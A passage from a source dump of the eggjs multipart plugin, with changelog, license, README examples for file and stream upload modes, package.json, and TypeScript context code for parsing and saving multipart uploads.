<<liutaofe@gmail.com>>)\n\n2.10.0 / 2019-12-11\n==================\n\n**features**\n  * [[`21ded55`](http://github.com/eggjs/egg-multipart/commit/21ded553420c383bf854a7e3374b0c5bb8c18581)] - feat: compatibility without dot at fileExtensions (#39) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.9.1 / 2019-11-07\n==================\n\n**fixes**\n  * [[`27464f3`](http://github.com/eggjs/egg-multipart/commit/27464f3b954b31005f042084a95cbfbac5dcf9a4)] - fix: add more error message (#38) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.9.0 / 2019-08-09\n==================\n\n**features**\n  * [[`a1fcdab`](http://github.com/eggjs/egg-multipart/commit/a1fcdab00ef1113845bbe41a4c0b40ce9356cc94)] - feat: fileModeMatch support glob with egg-path-matching (#36) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.8.0 / 2019-08-03\n==================\n\n**features**\n  * [[`5d3ee0f`](http://github.com/eggjs/egg-multipart/commit/5d3ee0f1b82ba705f8bac0468cb19ab6f1dce8ab)] - feat: saveRequestFiles support options (#37) (仙森 <<dapixp@gmail.com>>)\n\n2.7.1 / 2019-05-22\n==================\n\n**fixes**\n  * [[`75b1d48`](http://github.com/eggjs/egg-multipart/commit/75b1d48079b3c6b1358bf75197af0c8164ac926a)] - fix: whitelist declaration(#35) (Stephen <<stephenseraph@gmail.com>>)\n\n2.7.0 / 2019-05-20\n==================\n\n**features**\n  * [[`0d26aa0`](http://github.com/eggjs/egg-multipart/commit/0d26aa0862279eac15cf72281a90ccf77731e3d6)] - feat: export saveRequestFiles to context (#34) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`c5ca3ea`](http://github.com/eggjs/egg-multipart/commit/c5ca3ea2a46708744bb884f67fafee9bc1606df1)] - chore: remove tmp files and don't block the request's response (#33) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.6.2 / 2019-05-19\n==================\n\n**fixes**\n  * [[`72b03aa`](http://github.com/eggjs/egg-multipart/commit/72b03aae2ef18bef7f8d0a71c323f072c567f8d5)] - fix: keep same metas as file stream on file mode (#32) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.6.1 / 2019-05-16\n==================\n\n**others**\n  * [[`c5c4308`](http://github.com/eggjs/egg-multipart/commit/c5c43080df4c203c23053398390cfee25dc60542)] - chore: add typings and jsdocs (#31) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.6.0 / 2019-05-16\n==================\n\n**features**\n  * [[`7eb534f`](http://github.com/eggjs/egg-multipart/commit/7eb534f3b2cdb44fda025cf831877b8be7e84b55)] - feat: support file mode on default stream mode (#30) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.5.0 / 2019-05-01\n==================\n\n**features**\n  * [[`33c6b52`](http://github.com/eggjs/egg-multipart/commit/33c6b52fcd7cc4674cc2ff51dfe849adf078ad5c)] - feat(types): typescript support (#28) (George <<main.lukai@gmail.com>>)\n\n**others**\n  * [[`6be344f`](http://github.com/eggjs/egg-multipart/commit/6be344fd7cdaa04c8e0861f5295244c8a85d14e8)] - test: fix schedule task test case (#29) (George <<main.lukai@gmail.com>>)\n\n2.4.0 / 2018-12-26\n==================\n\n**features**\n  * [[`d7504b9`](http://github.com/eggjs/egg-multipart/commit/d7504b9635c68184181c751212c30a6eb53f87fe)] - feat: custom multipart parse options per request (#27) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.3.0 / 2018-11-11\n==================\n\n**features**\n  * [[`8d63cea`](http://github.com/eggjs/egg-multipart/commit/8d63cea48134d4d2a69796a399f04117222efd70)] - feat: export ctx.cleanupRequestFiles to improve cleanup more easy (#22) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.2.1 / 2018-09-29\n==================\n\n  * chore: fix egg docs build (#21)\n  * chore: add azure pipelines badge\n\n2.2.0 / 2018-09-29\n==================\n\n**features**\n  * [[`75c0733`](http://github.com/eggjs/egg-multipart/commit/75c0733bcbb68349970b5d2bb189bf8822954337)] - feat: Provide `file` mode to handle multipart request (#19) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`0b4e118`](http://github.com/eggjs/egg-multipart/commit/0b4e118a8eef3e61262fb981999cc2173dc08cc3)] - chore: no need to consume stream on error throw (#18) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.1.0 / 2018-08-07\n==================\n\n**features**\n  * [[`5ece18a`](http://github.com/eggjs/egg-multipart/commit/5ece18abd0a1026fa742e15a7480010619156051)] - feat: getFileStream() can accept non file request (#17) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`6a7fa06`](http://github.com/eggjs/egg-multipart/commit/6a7fa06d8978d061950d339cdd685b1ace6995c3)] - refactor: use async function and support egg@2 (#15) (Yiyu He <<dead_horse@qq.com>>)\n\n1.5.1 / 2017-10-27\n==================\n\n**fixes**\n  * [[`a7778e5`](http://github.com/eggjs/egg-multipart/commit/a7778e58f603c5efe298c8a651356d203afefed0)] - fix: fileSize typo (#10) (tangyao <<2001-wms@163.com>>)\n\n**others**\n  * [[`f95e322`](http://github.com/eggjs/egg-multipart/commit/f95e32287570f8f79de3061abfdfcbc93823f44f)] - docs: add more example (#14) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`b0785e3`](http://github.com/eggjs/egg-multipart/commit/b0785e34bb68b18af0d9f50bc3bf40cb91987391)] - docs: s/extention/extension (#13) (Sen Yang <<jasonslyvia@users.noreply.github.com>>)\n  * [[`d67fcf5`](http://github.com/eggjs/egg-multipart/commit/d67fcf5b64d0252345e04325c170e14786bc55a4)] - test: improve code coverage (#12) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c8b77df`](http://github.com/eggjs/egg-multipart/commit/c8b77dfa9ad44dace89ef62531f182a4960843f6)] - test: fix failing test (#11) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.5.0 / 2017-06-09\n==================\n\n  * refactor: always log when exceed limt (#9)\n\n1.4.0 / 2017-05-18\n==================\n\n  * feat: Add upper case extname support (#7)\n\n1.3.0 / 2017-04-21\n==================\n\n  * feat: whitelist support fn && english readme (#6)\n\n1.2.0 / 2017-03-18\n==================\n\n  * feat: should emit stream error event when file too large (#5)\n  * deps: upgrade all dev deps (#4)\n\n1.1.0 / 2017-02-08\n==================\n\n  * feat: getFileStream return promise (#3)\n\n1.0.0 / 2016-08-02\n==================\n\n * init version\n"
  },
  {
    "path": "plugins/multipart/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/multipart/README.md",
    "content": "# @eggjs/multipart\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/multipart)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/multipart.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/multipart\n[snyk-image]: https://snyk.io/test/npm/@eggjs/multipart/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/multipart\n[download-image]: https://img.shields.io/npm/dm/@eggjs/multipart.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/multipart\n\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and\nprocess it without save to disk(using the `stream` mode).\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing module such as `gm` or upload to cloud storage such as `oss`.\n\n## Whitelist of file extensions\n\nFor security, if uploading file extension is not in white list, will response as `400 Bad request`.\n\nDefault Whitelist:\n\n```js\nconst whitelist = [\n  // images\n  '.jpg',\n  '.jpeg', // image/jpeg\n  '.png', // image/png, image/x-png\n  '.gif', // image/gif\n  '.bmp', // image/bmp\n  '.wbmp', // image/vnd.wap.wbmp\n  '.webp',\n  '.tif',\n  '.psd',\n  // text\n  '.svg',\n  '.js',\n  '.jsx',\n  '.json',\n  '.css',\n  '.less',\n  '.html',\n  '.htm',\n  '.xml',\n  // tar\n  '.zip',\n  '.gz',\n  '.tgz',\n  '.gzip',\n  // video\n  '.mp3',\n  '.mp4',\n  '.avi',\n];\n```\n\n### fileSize\n\nThe default fileSize that multipart can accept is `10mb`. if you upload a large file, you should specify this config.\n\n```js\n// config/config.default.js\nexports.multipart = {\n  fileSize: '50mb',\n};\n```\n\n### Custom Config\n\nDeveloper can custom additional file extensions:\n\n```js\n// config/config.default.js\nexports.multipart = {\n  // will append to whilelist\n  fileExtensions: ['.foo', '.apk'],\n};\n```\n\nCan also **override** built-in whitelist, such as only allow png:\n\n```js\n// config/config.default.js\nexports.multipart = {\n  whitelist: ['.png'],\n};\n```\n\nOr by function：\n\n```js\nexports.multipart = {\n  whitelist: filename => ['.png'].includes(path.extname(filename) || ''),\n};\n```\n\n**Note: if define `whitelist`, then `fileExtensions` will be ignored.**\n\n## Examples\n\nMore examples please follow:\n\n- [Handle multipart request in `stream` mode](https://github.com/eggjs/examples/tree/master/multipart)\n- [Handle multipart request in `file` mode](https://github.com/eggjs/examples/tree/master/multipart-file-mode)\n\n## `file` mode: the easy way\n\nIf you don't know the [Node.js Stream](https://nodejs.org/dist/latest-v18.x/docs/api/stream.html) work,\nmaybe you should use the `file` mode to get started.\n\nThe usage very similar to [bodyParser](https://eggjs.org/en/basics/controller.html#body).\n\n- `ctx.request.body`: Get all the multipart fields and values, except `file`.\n- `ctx.request.files`: Contains all `file` from the multipart request, it's an Array object.\n\n**WARNING: you should remove the temporary upload files after you use it**,\nthe `async ctx.cleanupRequestFiles()` method will be very helpful.\n\n### Enable `file` mode on config\n\nYou need to set `config.multipart.mode = 'file'` to enable `file` mode:\n\n```js\n// config/config.default.js\nexports.multipart = {\n  mode: 'file',\n};\n```\n\nAfter `file` mode enable, egg will remove the old temporary files(don't include today's files) on `04:30 AM` every day by default.\n\n```js\nconfig.multipart = {\n  mode: 'file',\n  tmpdir: path.join(os.tmpdir(), 'egg-multipart-tmp', appInfo.name),\n  cleanSchedule: {\n    // run tmpdir clean job on every day 04:30 am\n    // cron style see https://github.com/eggjs/egg-schedule#cron-style-scheduling\n    cron: '0 30 4 * * *',\n    disable: false,\n  },\n};\n```\n\nDefault will use the last field which has same name, if need the all fields value, please set `allowArrayField` in config.\n\n```js\n// config/config.default.js\nexports.multipart = {\n  mode: 'file',\n  allowArrayField: true,\n};\n```\n\n### Upload One File\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n```\n\nController which hanlder `POST /upload`:\n\n```js\n// app/controller/upload.js\nconst Controller = require('egg').Controller;\nconst fs = require('mz/fs');\n\nmodule.exports = class extends Controller {\n  async upload() {\n    const { ctx } = this;\n    const file = ctx.request.files[0];\n    const name = 'egg-multipart-test/' + path.basename(file.filename);\n    let result;\n    try {\n      // process file or upload to cloud storage\n      result = await ctx.oss.put(name, file.filepath);\n    } finally {\n      // remove tmp files and don't block the request's response\n      // cleanupRequestFiles won't throw error even remove file io error happen\n      ctx.cleanupRequestFiles();\n      // remove tmp files before send response\n      // await ctx.cleanupRequestFiles();\n    }\n\n    ctx.body = {\n      url: result.url,\n      // get all field values\n      requestBody: ctx.request.body,\n    };\n  }\n};\n```\n\n### Upload Multiple Files\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2: <input name=\"file2\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n```\n\nController which hanlder `POST /upload`:\n\n```js\n// app/controller/upload.js\nconst Controller = require('egg').Controller;\nconst fs = require('mz/fs');\n\nmodule.exports = class extends Controller {\n  async upload() {\n    const { ctx } = this;\n    console.log(ctx.request.body);\n    console.log('got %d files', ctx.request.files.length);\n    for (const file of ctx.request.files) {\n      console.log('field: ' + file.fieldname);\n      console.log('filename: ' + file.filename);\n      console.log('encoding: ' + file.encoding);\n      console.log('mime: ' + file.mime);\n      console.log('tmp filepath: ' + file.filepath);\n      let result;\n      try {\n        // process file or upload to cloud storage\n        result = await ctx.oss.put('egg-multipart-test/' + file.filename, file.filepath);\n      } finally {\n        // remove tmp files and don't block the request's response\n        // cleanupRequestFiles won't throw error even remove file io error happen\n        ctx.cleanupRequestFiles([file]);\n      }\n      console.log(result);\n    }\n  }\n};\n```\n\n## `stream` mode: the hard way\n\nIf you're well-known about know the Node.js Stream work, you should use the `stream` mode.\n\n### Use with `for await...of`\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2: <input name=\"file2\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n```\n\nController which hanlder `POST /upload`:\n\n```js\n// app/controller/upload.js\nconst { Controller } = require('egg');\nconst fs = require('fs');\nconst stream = require('stream');\nconst util = require('util');\nconst { randomUUID } = require('crypto');\nconst pipeline = util.promisify(stream.pipeline);\n\nmodule.exports = class UploadController extends Controller {\n  async upload() {\n    const parts = this.ctx.multipart();\n    const fields = {};\n    const files = {};\n\n    for await (const part of parts) {\n      if (Array.isArray(part)) {\n        // fields\n        console.log('field: ' + part[0]);\n        console.log('value: ' + part[1]);\n      } else {\n        // otherwise, it's a stream\n        const { filename, fieldname, encoding, mime } = part;\n\n        console.log('field: ' + fieldname);\n        console.log('filename: ' + filename);\n        console.log('encoding: ' + encoding);\n        console.log('mime: ' + mime);\n\n        // how to handler?\n        // 1. save to tmpdir with pipeline\n        // 2. or send to oss\n        // 3. or just consume it with another for await\n\n        // WARNING: You should almost never use the origin filename as it could contain malicious input.\n        const targetPath = path.join(os.tmpdir(), randomUUID() + path.extname(filename));\n        await pipeline(part, createWriteStream(targetPath)); // use `pipeline` not `pipe`\n      }\n    }\n\n    this.ctx.body = 'ok';\n  }\n};\n```\n\n### Upload One File (DEPRECATED)\n\nYou can got upload stream by `ctx.getFileStream*()`.\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n```\n\nController which handler `POST /upload`:\n\n```js\n// app/controller/upload.js\nconst path = require('node:path');\nconst { sendToWormhole } = require('stream-wormhole');\nconst { Controller } = require('egg');\n\nmodule.exports = class extends Controller {\n  async upload() {\n    const { ctx } = this;\n    // file not exists will response 400 error\n    const stream = await ctx.getFileStream();\n    const name = 'egg-multipart-test/' + path.basename(stream.filename);\n    // process file or upload to cloud storage\n    const result = await ctx.oss.put(name, stream);\n\n    ctx.body = {\n      url: result.url,\n      // process form fields by `stream.fields`\n      fields: stream.fields,\n    };\n  }\n\n  async uploadNotRequiredFile() {\n    const { ctx } = this;\n    // file not required\n    const stream = await ctx.getFileStream({ requireFile: false });\n    let result;\n    if (stream.filename) {\n      const name = 'egg-multipart-test/' + path.basename(stream.filename);\n      // process file or upload to cloud storage\n      const result = await ctx.oss.put(name, stream);\n    } else {\n      // must consume the empty stream\n      await sendToWormhole(stream);\n    }\n\n    ctx.body = {\n      url: result && result.url,\n      // process form fields by `stream.fields`\n      fields: stream.fields,\n    };\n  }\n};\n```\n\n### Upload Multiple Files (DEPRECATED)\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file1: <input name=\"file1\" type=\"file\" /> file2: <input name=\"file2\" type=\"file\" />\n  <button type=\"submit\">Upload</button>\n</form>\n```\n\nController which hanlder `POST /upload`:\n\n```js\n// app/controller/upload.js\nconst Controller = require('egg').Controller;\n\nmodule.exports = class extends Controller {\n  async upload() {\n    const { ctx } = this;\n    const parts = ctx.multipart();\n    let part;\n    while ((part = await parts()) != null) {\n      if (part.length) {\n        // arrays are busboy fields\n        console.log('field: ' + part[0]);\n        console.log('value: ' + part[1]);\n        console.log('valueTruncated: ' + part[2]);\n        console.log('fieldnameTruncated: ' + part[3]);\n      } else {\n        if (!part.filename) {\n          // user click `upload` before choose a file,\n          // `part` will be file stream, but `part.filename` is empty\n          // must handler this, such as log error.\n          continue;\n        }\n        // otherwise, it's a stream\n        console.log('field: ' + part.fieldname);\n        console.log('filename: ' + part.filename);\n        console.log('encoding: ' + part.encoding);\n        console.log('mime: ' + part.mime);\n        const result = await ctx.oss.put('egg-multipart-test/' + part.filename, part);\n        console.log(result);\n      }\n    }\n    console.log('and we are done parsing the form!');\n  }\n};\n```\n\n### Support `file` and `stream` mode in the same time\n\nIf the default `mode` is `stream`, use the `fileModeMatch` options to match the request urls switch to `file` mode.\n\n```js\nconfig.multipart = {\n  mode: 'stream',\n  // let POST /upload_file request use the file mode, other requests use the stream mode.\n  fileModeMatch: /^\\/upload_file$/,\n  // or glob\n  // fileModeMatch: '/upload_file',\n};\n```\n\nNOTICE: `fileModeMatch` options only work on `stream` mode.\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/multipart/package.json",
    "content": "{\n  \"name\": \"@eggjs/multipart\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"Multipart plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"multipart\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/multipart#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"gxcsoccer <gxcsoccer@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/multipart\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./app/middleware/multipart\": \"./src/app/middleware/multipart.ts\",\n    \"./app/schedule/clean_tmpdir\": \"./src/app/schedule/clean_tmpdir.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/LimitError\": \"./src/lib/LimitError.ts\",\n    \"./lib/MultipartFileTooLargeError\": \"./src/lib/MultipartFileTooLargeError.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./app/middleware/multipart\": \"./dist/app/middleware/multipart.js\",\n      \"./app/schedule/clean_tmpdir\": \"./dist/app/schedule/clean_tmpdir.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/LimitError\": \"./dist/lib/LimitError.js\",\n      \"./lib/MultipartFileTooLargeError\": \"./dist/lib/MultipartFileTooLargeError.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/path-matching\": \"workspace:*\",\n    \"bytes\": \"catalog:\",\n    \"co-busboy\": \"catalog:\",\n    \"dayjs\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/schedule\": \"workspace:*\",\n    \"@types/bytes\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"formstream\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"stream-wormhole\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"urllib\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/src/app/extend/context.ts",
    "content": "import assert from 'node:assert';\nimport { randomUUID } from 'node:crypto';\nimport { createWriteStream } from 'node:fs';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { Readable, PassThrough } from 'node:stream';\nimport { pipeline } from 'node:stream/promises';\n\n// @ts-expect-error no types\nimport parse from 'co-busboy';\nimport dayjs from 'dayjs';\nimport { Context } from 'egg';\n\nimport { LimitError } from '../../lib/LimitError.ts';\nimport { MultipartFileTooLargeError } from '../../lib/MultipartFileTooLargeError.ts';\nimport { humanizeBytes } from '../../lib/utils.ts';\n\nconst HAS_CONSUMED = Symbol('Context#multipartHasConsumed');\n\nexport interface EggFile {\n  field: string;\n  filename: string;\n  encoding: string;\n  mime: string;\n  filepath: string;\n}\n\nexport interface MultipartFileStream extends Readable {\n  fields: Record<string, any>;\n  filename: string;\n  fieldname: string;\n  mime: string;\n  mimeType: string;\n  transferEncoding: string;\n  encoding: string;\n  truncated: boolean;\n}\n\nexport interface MultipartOptions {\n  autoFields?: boolean;\n  /**\n   * required file submit, default is true\n   */\n  requireFile?: boolean;\n  /**\n   * default charset encoding\n   */\n  defaultCharset?: string;\n  /**\n   * compatible with defaultCharset\n   * @deprecated use `defaultCharset` instead\n   */\n  defCharset?: string;\n  defaultParamCharset?: string;\n  /**\n   * compatible with defaultParamCharset\n   * @deprecated use `defaultParamCharset` instead\n   */\n  defParamCharset?: string;\n  limits?: {\n    fieldNameSize?: number;\n    fieldSize?: number;\n    fields?: number;\n    fileSize?: number;\n    files?: number;\n    parts?: number;\n    headerPairs?: number;\n  };\n  checkFile?(fieldname: string, file: any, filename: string, encoding: string, mimetype: string): void | Error;\n}\n\nexport default class MultipartContext extends Context {\n  /**\n   * create multipart.parts instance, to get separated files.\n   * @function Context#multipart\n   * @param {Object} [options] - override default multipart configurations\n   *  - {Boolean} options.autoFields\n   *  - {String} options.defaultCharset\n   *  - {String} options.defaultParamCharset\n   *  - {Object} options.limits\n   *  - {Function} options.checkFile\n   * @return {Yieldable | AsyncIterable<Yieldable>} parts\n   */\n  multipart(options: MultipartOptions = {}): AsyncIterable<MultipartFileStream> {\n    // eslint-disable-next-line @typescript-eslint/no-this-alias\n    const ctx = this;\n    // multipart/form-data\n    if (!ctx.is('multipart')) ctx.throw(400, 'Content-Type must be multipart/*');\n\n    assert(!ctx[HAS_CONSUMED], \"the multipart request can't be consumed twice\");\n    ctx[HAS_CONSUMED] = true;\n\n    const { autoFields, defaultCharset, defaultParamCharset, checkFile } = ctx.app.config.multipart;\n    const { fieldNameSize, fieldSize, fields, fileSize, files } = ctx.app.config.multipart;\n    options = extractOptions(options);\n\n    const parseOptions = Object.assign(\n      {\n        autoFields,\n        defCharset: defaultCharset,\n        defParamCharset: defaultParamCharset,\n        checkFile,\n      },\n      options,\n    );\n\n    // https://github.com/mscdex/busboy#busboy-methods\n    // merge limits\n    parseOptions.limits = Object.assign(\n      {\n        fieldNameSize,\n        fieldSize,\n        fields,\n        fileSize,\n        files,\n      },\n      options.limits,\n    );\n\n    // mount asyncIterator, so we can use `for await` to get parts\n    const parts = parse(this, parseOptions);\n    parts[Symbol.asyncIterator] = async function* () {\n      let part: MultipartFileStream | undefined;\n      do {\n        part = await parts();\n\n        if (!part) continue;\n\n        if (Array.isArray(part)) {\n          if (part[3]) throw new LimitError('Request_fieldSize_limit', 'Reach fieldSize limit');\n          // TODO: still not support at busboy 1.x (only support at urlencoded)\n          // https://github.com/mscdex/busboy/blob/v0.3.1/lib/types/multipart.js#L5\n          // https://github.com/mscdex/busboy/blob/master/lib/types/multipart.js#L251\n          // if (part[2]) throw new LimitError('Request_fieldNameSize_limit', 'Reach fieldNameSize limit');\n        } else {\n          // user click `upload` before choose a file, `part` will be file stream, but `part.filename` is empty must handler this, such as log error.\n          if (!part.filename) {\n            ctx.coreLogger.debug(\n              '[egg-multipart] file field `%s` is upload without file stream, will drop it.',\n              part.fieldname,\n            );\n            await pipeline(part, new PassThrough());\n            continue;\n          }\n          // TODO: check whether filename is malicious input\n\n          // busboy only set truncated when consume the stream\n          if (part.truncated) {\n            // in case of emit 'limit' too fast\n            throw new LimitError('Request_fileSize_limit', 'Reach fileSize limit');\n          } else {\n            part.once('limit', function (this: MultipartFileStream) {\n              this.emit('error', new LimitError('Request_fileSize_limit', 'Reach fileSize limit'));\n              this.resume();\n            });\n          }\n        }\n\n        // dispatch part to outter logic such as for-await-of\n        yield part;\n      } while (part !== undefined);\n    };\n    return parts;\n  }\n\n  /**\n   * save request multipart data and files to `ctx.request`\n   * @function Context#saveRequestFiles\n   * @param {Object} options - { limits, checkFile, ... }\n   */\n  async saveRequestFiles(options: MultipartOptions = {}): Promise<void> {\n    // eslint-disable-next-line @typescript-eslint/no-this-alias\n    const ctx = this;\n\n    const allowArrayField = ctx.app.config.multipart.allowArrayField;\n\n    let storeDir: string | undefined;\n\n    const requestBody: Record<string, any> = {};\n    const requestFiles: EggFile[] = [];\n\n    options.autoFields = false;\n    const parts = ctx.multipart(options);\n\n    try {\n      for await (const part of parts) {\n        if (Array.isArray(part)) {\n          // fields\n          const [fieldName, fieldValue] = part;\n          if (!allowArrayField) {\n            requestBody[fieldName] = fieldValue;\n          } else {\n            if (!requestBody[fieldName]) {\n              requestBody[fieldName] = fieldValue;\n            } else if (!Array.isArray(requestBody[fieldName])) {\n              requestBody[fieldName] = [requestBody[fieldName], fieldValue];\n            } else {\n              requestBody[fieldName].push(fieldValue);\n            }\n          }\n        } else {\n          // stream\n          const { filename, fieldname, encoding, mime } = part;\n\n          if (!storeDir) {\n            // ${tmpdir}/YYYY/MM/DD/HH\n            storeDir = path.join(ctx.app.config.multipart.tmpdir, dayjs().format('YYYY/MM/DD/HH'));\n            await fs.mkdir(storeDir, { recursive: true });\n          }\n\n          // write to tmp file\n          const filepath = path.join(storeDir, randomUUID() + path.extname(filename));\n          const target = createWriteStream(filepath);\n          await pipeline(part, target);\n\n          const meta = {\n            filepath,\n            field: fieldname,\n            filename,\n            encoding,\n            mime,\n            // keep same property name as file stream, https://github.com/cojs/busboy/blob/master/index.js#L114\n            fieldname,\n            transferEncoding: encoding,\n            mimeType: mime,\n          };\n\n          requestFiles.push(meta);\n        }\n      }\n    } catch (err) {\n      await ctx.cleanupRequestFiles(requestFiles);\n      throw err;\n    }\n\n    ctx.request.body = requestBody;\n    ctx.request.files = requestFiles;\n  }\n\n  /**\n   * get upload file stream\n   * @example\n   * ```js\n   * const stream = await ctx.getFileStream();\n   * // get other fields\n   * console.log(stream.fields);\n   * ```\n   * @function Context#getFileStream\n   * @param {Object} options\n   *  - {Boolean} options.requireFile - required file submit, default is true\n   *  - {String} options.defaultCharset\n   *  - {String} options.defaultParamCharset\n   *  - {Object} options.limits\n   *  - {Function} options.checkFile\n   * @return {ReadStream} stream\n   * @since 1.0.0\n   * @deprecated Not safe enough, use `ctx.multipart()` instead\n   */\n  async getFileStream(options: MultipartOptions = {}): Promise<MultipartFileStream> {\n    options.autoFields = true;\n    const parts: any = this.multipart(options);\n    let stream: MultipartFileStream = await parts();\n\n    if (options.requireFile !== false) {\n      // stream not exists, treat as an exception\n      if (!stream || !stream.filename) {\n        this.throw(400, \"Can't found upload file\");\n      }\n    }\n\n    if (!stream) {\n      stream = Readable.from([]) as MultipartFileStream;\n    }\n\n    if (stream.truncated) {\n      throw new LimitError('Request_fileSize_limit', 'Request file too large, please check multipart config');\n    }\n\n    stream.fields = parts.field;\n    stream.once('limit', () => {\n      const err = new MultipartFileTooLargeError(\n        'Request file too large, please check multipart config',\n        stream.fields,\n        stream.filename,\n      );\n      if (stream.listenerCount('error') > 0) {\n        stream.emit('error', err);\n        this.coreLogger.warn(err);\n      } else {\n        this.coreLogger.error(err);\n        // ignore next error event\n        stream.on('error', () => {});\n      }\n      // ignore all data\n      stream.resume();\n    });\n    return stream;\n  }\n\n  /**\n   * clean up request tmp files helper\n   * @function 